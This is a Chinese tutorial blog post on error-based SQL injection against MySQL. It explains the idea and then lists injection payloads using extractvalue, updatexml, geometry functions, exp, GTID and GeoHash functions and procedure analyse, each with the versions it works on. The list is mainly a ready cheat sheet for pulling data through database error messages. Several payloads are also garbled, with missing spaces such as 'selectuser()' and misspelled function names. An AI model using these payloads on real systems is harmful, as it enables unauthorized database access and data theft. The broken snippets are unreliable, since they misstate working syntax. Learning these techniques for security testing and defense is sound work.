写点什么

10 分钟了解 sql 注入 -- 报错注入(二)

作者:贤鱼很忙
  • 2022-10-13
    新疆
  • 本文字数:1185 字

    阅读完需:约 4 分钟

🏆今日学习目标:🍀学会报错注入✅创作者:贤鱼



@TOC

原理

利用数据库某些机制,人为制造错误,使得查询的结果出现在报错中 sql 查询的星系会被报错语句返回到界面上

注入

extractvalue

extractvale(MXL_document,xpath_string);


第一个参数为 xml 字符串第二个参数为 xpath 格式字符串


作用,从 xml 中返回包含查询字符串


==注意!== 查询时用 group_concat 或者 limit 记得用 substr 函数进行截取,extractvalue 报错信息最多 32 个字符


后面的程序和上文 union 注入差不多,如有需要可以查看

双查询注入

上文所说查询时用 group_concat 或者 limit 有些版本的 mysql 中 query 不能用聚合函数,面对这种情况,我们只能从口袋里掏出 limit



用 limit 将结果一行一行爆出

双列名查询

join:用于将两个表连接


在 sql 查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

报错函数

extractvalue(XML_document,XPath_string);

xml 这两个函数报错时,会忽略掉第一个字符若,其后字符与它连续且相同,也会被忽略 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 第二个参数:XPath_string (Xpath 格式的字符串). 作用:从目标 XML 中返回包含所查询值的字符串 (>=5.1.5)updatexml(1,concat(0x282b,(QUERY),0x292b),1)

updatexml(XML_document,XPath_string, new_value);

第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 第二个参数:XPath_string (Xpath 格式的字符串)。 第三个参数:new_value,String 格式,替换查找到的符合条件的数据 (>=5.1.5)extractvalue(1,concat(0x282b,(QUERY),0x292b))

geometrycollection()

geometrycollection((select * from(select * from(selectuser())a)b));(5.1>=version<=5.5.48 )

multipoint()

multipoint((select * from(select user())b));(5.1>=version<=5.5.48 )

polygon()

select polygon((select * from(select * from(selectuser())a)b));(5.1>=version<=5.5.48 )

multipolygon()

multipolygon((select * from(select * from(selectuser())a)b));(5.1>=version<=5.5.48 )

linestring()

linestring((select * from(select * from(select user())a)b));(5.1>=version<=5.5.48 )

multilinestring()

multilinestring((select * from(select * from(selectuser())a)b));(5.1>=version<=5.5.48 )

exp()

exp(~(select * from(select user())a));(5.1>=version<=5.5.48 )

ST_LatFromGeoHash()

select ST_LatFromGeoHash(user());(>=5.7)

ST_LongFromGeoHash()

select ST_LongFromGeoHash(user());(*>=5.7)

GTID_SUBSET()

select GTID_SUBSET(user(),1);(*>=5.7)

GTID_SUBTRACT()

select GTID_SUBTRACT(user(),1);(*>=5.7)

ST_PointFromGeoHash()

select ST_PointFromGeoHash(user(),1);(*>=5.7)

procedure analyse()

procedureanalyse(extractvalue(1,concat(0x3a,user())),1); 放在语句末尾,(*<=5.6.17)



发布于: 刚刚阅读数: 6
用户头像

贤鱼很忙

关注

为了未来奋斗中 2022-09-28 加入

主修网络安全和c++方面内容,时常提供题解和网络安全方面知识

评论

发布
暂无评论
10分钟了解sql注入--报错注入(二)_sql_贤鱼很忙_InfoQ写作社区